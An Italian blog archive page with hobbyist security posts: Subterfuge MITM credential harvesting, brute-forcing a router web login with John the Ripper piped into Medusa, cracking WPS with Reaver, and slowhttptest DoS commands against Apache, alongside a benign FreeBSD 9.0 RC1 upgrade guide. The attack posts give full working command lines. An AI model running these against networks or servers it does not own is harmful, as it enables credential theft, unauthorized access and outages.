Pulire un file .pcap contenente un WPA handshake

Spesso un file .pcap contenente l’handshake WPA catturato con tool automatici come Wifite risulta sporcato da altri dati, pacchetti catturati che non riguardano il four way handshake tra router e client Wi-Fi. Ecco perché è necessario ripulire la cattura, lasciando soltanto i pacchetti EAPOL che ci interessano.

Su Question Defense ho trovato un metodo che fa uso di tshark, lo riporto come memo personale, ma credo possa tornare utile a chi si diverte con il wireless hacking:

Continua a leggere

Subterfuge: attacco man in the middle per tutti in pochi clic

Dimenticatevi Ettercap e procedure “complicate” per effettuare un attacco man-in-the-middle (MITM), con Subterfuge anche un bambino è in grado di rubare le credenziali di autenticazione di un client vittima. Non conoscevo questo tool, ancora giovane, ma è stata una scoperta sorprendente.

Uso da anni Ettercap e lo trovo anche semplice ma Subterfuge lo è ancora di più: ha un’interfaccia Web molto chiara che permette di avviare il MITM e visualizzare in tempo reale username e password intercettate dalle connessioni degli utenti vittime del nostro attacco. Inoltre è dotato di moduli aggiuntivi che ne estendono ulteriormente le funzionalità: fake access point, DNS spoofing, Session Hijacking, HTTP Code Injection, spoofing di un server che invii update.

L’installazione su Ubuntu 12.04 (e immagino anche su altre distribuzioni) è molto semplice, basta avviare uno script Python (“sudo python install.py”) che si occuperà del download e del setup di tutto il necessario per usare Subterfuge. Il tool è gestibile da un’interfaccia Web raggiungibile su localhost:80.

Nelle prove che ho effettuato nella mia rete locale sono stato in grado di intercettare username e password di Gmail senza che all’utente venisse mostrato alcun messaggio di connessione insicura, tutto questo è possibile grazie all’utilizzo di sslstrip da parte di Subterfuge.

Il tool come detto è ancora acerbo (l’ultima release è Subterfuge Beta 2.1) e personalmente non sono riuscito ad usare gli altri moduli disponibili ad eccezione del “Credential Harvester” (il modulo che consente l’intercettazione di username e password delle vittime), tuttavia consiglio di provarlo per apprezzarne la semplicità ed efficacia.

subterfuge mitm

Brute force senza dizionario con John the Ripper e Medusa

Veloce segnalazione per non dimenticarmi un metodo per effettuare un attacco brute force senza utilizzare un dizionario servendosi di John the Ripper e Medusa. Nell’esempio che segue il brute force è lanciato contro l’indirizzo 192.168.1.1, provando come username “admin” contro un form web (opzione di Medusa -M web-from):

#john --incremental=all --session=RouterBrute --stdout | xargs -L 1 medusa -h 192.168.1.1 -u admin -M web-form -p

nel caso si doveste interrompere e successivamente riprendere il brute force questo è il comando:

#john --restore=RouterBrute | xargs -L 1 medusa -h 192.168.1.1 -u admin -M web-form -p

Con i comandi dati in precedenza non si avrà un alert che interrompa il brute force e ci dica se la password è stata individuata per questo si può effettuare un pipe dell’output in un file e successivamente lanciare grep per cercare la stringa “FOUND” per individuare la password del nostro “bersaglio”

#john --restore=RouterBrute | xargs -L 1 medusa -h 192.168.1.1 -u admin -M web-form -p >> check.txt

Fonte: Brute force without a dictionary using john

Bucare una rete Wi-Fi protetta con Ubuntu usando Reaver

Fino a qualche giorno fa l’arsenale di chi voleva bucare una rete WiFi protetta era limitato alla suite aircrack-ng (che da poco ho scoperto essere stata eliminata dai repository di Debian e Ubuntu 12.04). Lo scenario è cambiato con l’arrivo di Reaver, programma che sfrutta delle vulnerabilità nel protocollo WiFi Protected Setup (WPS) effettuando un brute force che consente di recuperare la password WPA/WPA2 in poche ore.

Reaver è disponibile in formato sorgente su Google Code e deve essere compilato per funzionare. Per compilare Reaver su Ubuntu è necessario scaricare i seguenti pacchetti:

sudo apt-get install build-essential
sudo apt-get install libpcap0.8-dev
sudo apt-get install libsqlite3-dev

Scaricata e scompattata l’ultima versione del tool, al momento in cui scrivo reaver-1.3, sarà sufficiente compilarlo con i soliti comandi:

./configure
make
sudo make install

A questo punto potremo iniziare a “guardarci intorno” per vedere se attorno a noi ci sono router o AP vulnerabili, nella versione 1.3 di reaver è stato incluso walsh un’utility che permette proprio di individuare dispositivi vulnerabili nelle vicinanze. Per usare walsh è necessario mettere la propria scheda wireless in monitor mode, lo si può fare usando airmon-ng (incluso in aircrack-ng) o iwconfig. Con airmon basterà dare:

sudo airmon-ng start wlan0

Nel caso network-manager o altri software interferiscano con la messa in monitor mode della scheda wireless sarà opportuno terminare tutti i processi che possono disturbare l’operazione con:

sudo airmon-ng check kill

Se si preferisce usare iwconfig (personalmente reputo più affidabile il metodo con airmon-ng), utility solitamente già inclusa in qualsiasi distribuzione, basterà invece dare i seguenti comandi per mettere in monitor mode la scheda wireless:

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up

Fatto questo avremo attivato l’interfaccia mon0 necessaria al funzionamento di reaver. Come detto il primo step è usare walsh per individuare router vulnerabili:

sudo walsh -i mon0

L’output sarà una lista di router con relativo MAC address e nome. Se si dovesse ricevere l’errore “Found packet with bad FCS, skipping” allora si dovrà dare a walsh un’opzione per eliminare questo errore e procedere comunque:

sudo walsh -i mon0 --ignore-fcs

Presa nota del MAC address del router da attaccare potremo procedere finalmente al brute force con reaver nel seguente modo:

reaver -i mon0 -b 00:01:02:03:04:05 -vv

si può anche omettere la verbosità dell’output (opzione -vv) ma consiglio di lasciarla perché così si hanno molte più informazioni sull’attacco che si sta eseguendo.

Per rendere più veloce l’attacco è possibile anche diminuire il delay di 1 secondo nell’attacco forza bruta di reaver come spiegato nei reaver-wps hints and tricks:

reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

Reaver salva le sue sessioni di attacco nella directory “/etc/reaver” con una estensione .wpc, se si interrompe una sessione e la si vuole riprendere reaver la caricherà in automatico in base al MAC address del router bersaglio, in alternativa si può caricare manualmente una sessione impartendo l’opzione “–session option”. Non aspettatevi comunque tempi troppo veloci, la riuscita del brute force dipende molto dal modello di router attaccato e da quanto tempo il router bersaglio rimane acceso. Una sola annotazione: il mio portatile, durante un test di attacco con reaver, consumava la carica della batteria in pochissimo tempo, segno che il brute force è esoso in termini di utilizzo delle risorse del sistema.

Aggiornare a FreeBSD 9.0 RC1

FreeBSD 9.0

FreeBSD 9.0

FreeBSD 9.0 è alle porte, la prima Release Candidate è stata rilasciata e ne dovrebbero seguire altre due prima del rilascio della versione finale. Avendo una virtual machine ferma a FreeBSD 9.0 Beta 1 ho deciso di aggiornare alla RC1, i passi che descrivo di seguito sono gli stessi che servono anche ad aggiornare da FreeBSD 8.2 a FreeBSD 9.0 RC1:

Il primo passo non è obbligatorio e consiste nel determinare, se già non lo sappiamo, quale versione di FreeBSD stiamo per aggiornare:

# uname -rs
FreeBSD 9.0-BETA1

Passiamo adesso agli step necessari ad aggiornare. La prima cosa da fare è modificare freebsd-update (del grande Colin Percival), lo script che utilizzeremo per l’aggiornamento di versione, in questo modo:

# sed -i '' -e 's/=_/=%@_/' /usr/sbin/freebsd-update

A questo punto possiamo lanciare freebsd-update per l’aggiornamento:

# freebsd-update upgrade -r 9.0-RC1

Al termine verranno mostrati a video i seguenti messaggi:

The following components of FreeBSD seem to be installed:

kernel/generic world/base

The following components of FreeBSD do not seem to be installed:
src/src world/doc world/games

Does this look reasonable (y/n)?

Lanciamo a questo punto l’installazione degli aggiornamenti binari:

# freebsd-update install

Terminato anche questo step riceveremo questo messaggio:

Kernel updates have been installed. Please reboot and run

“/usr/sbin/freebsd-update install” again to finish installing updates

Seguendo l’indicazione avuta sarà necessario riavviare:

# shutdown -r now

e lanciare nuovamente:

freebsd-update install

Arrivati a questo punto verrà chiesto da freebsd-update di ricompilare i software di terze parti installati, come ad esempio i “ports” che potremo aggiornare installando portmanager:

# pkg_add -r portmanager

Una volta installato questo tool sarà necessario prima un aggiornamento del ports tree con portsnap:

# portsnap fetch extract

infine un aggiornamento di tutti i ports usando portmanager con il comando:

# portmanager -u

Terminato questo aggiornamento completo dei ports, che può richiedere qualche ora per essere completato, dovremo dare un ultimo comando con freebsd-update per aggiornare effettivamente a FreeBSD 9.0 RC1:

# freebsd-update install

Infine consiglio una ripulita ai ports, per far questo dovremo installare portupgrade in questo modo:

# pkg_add portupgrade

e pulire le working directories dei ports in questo modo:

# portsclean -C

oppure molto più rozzamente e senza richiedere installazione di software aggiuntivi si potrà dare:

# rm -rf /usr/ports/*/*/work

slowhttptest: DoS contro Apache con la vulnerabilità range header (ma non solo)

Il 19 agosto scorso, sulla Full Disclosure Mailing List, è comparso un messaggio di Kingcope con allegato “killapache.pl” uno script PERL che ha messo a nudo una vulnerabilità in Apache in grado di consentire un DoS del webserver (dunque un DoS Layer 7 di cui ho già parlato in precedenza anche se mi riferivo a DDoS) open source. Basta che ad eseguire lo script da un solo PC per mettere in ginocchio Apache e la macchina che lo esegue a causa dell’elevato consumo di RAM e CPU. Lo script è tutt’altro che perfetto e non sempre affidabile nello sfruttare la vulnerabilità. Dai test che ho potuto effettuare spesso il bersaglio veniva riconosciuto come non vulnerabile pur essendolo.

A distanza di meno di una settimana dal messaggio di Kingcope la possibilità di sfruttare la vulnerabilità “range header handling” di Apache è stata inclusa nel tool slowhttptest versione 1.1. Il team di Apache ha rilasciato da pochi minuti una nuova release del web server, Apache HTTP Server 2.2.20, proprio per correggere la vulnerabilità, ma si può far ricorso comunque a slowhttptest per effettuare dei test sui propri web server o su server che non siano aggiornati (è probabile che le maggiori distribuzioni Linux includano l’aggiornamento tra le patch di sicurezza rilasciate nelle prossime ore). Vediamo come installarlo e utilizzarlo.

Installazione di slowhttptest:

$ tar -xzvf slowhttptest-1.1.tar.gz

$ cd slowhttptest-1.1

$ ./configure --prefix=/usr/local/
$ make

$ sudo make install

Per verificare la tenuta di Apache allo sfruttamento della vulnerabilità range header possiamo far riferimento alla documentazione presente su ApacheRangeTest, per esempio si potrà eseguire il seguente comando:

slowhttptest -R -u http://127.0.1.1/ -t GET -c 1000 -a 10 -b 3000 -r 500

Se invece avete necessità di verificare la resistenza di Apache a un “normale” DoS (una sorta di stress test un po’ brutale) basterà usare slowhttptest nel modo che segue:

./slowhttptest -c 1000 -B -g -o my_server_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://www.mioserverditest.com -x 10

Per il significato dei parametri passati rimando a slowhttptest installazione e uso.

Importante: evitate di lanciare attacchi DoS con slowhttptest su server che non siano di vostra proprietà, si tratta di azioni punibili penalmente.

Riferimenti: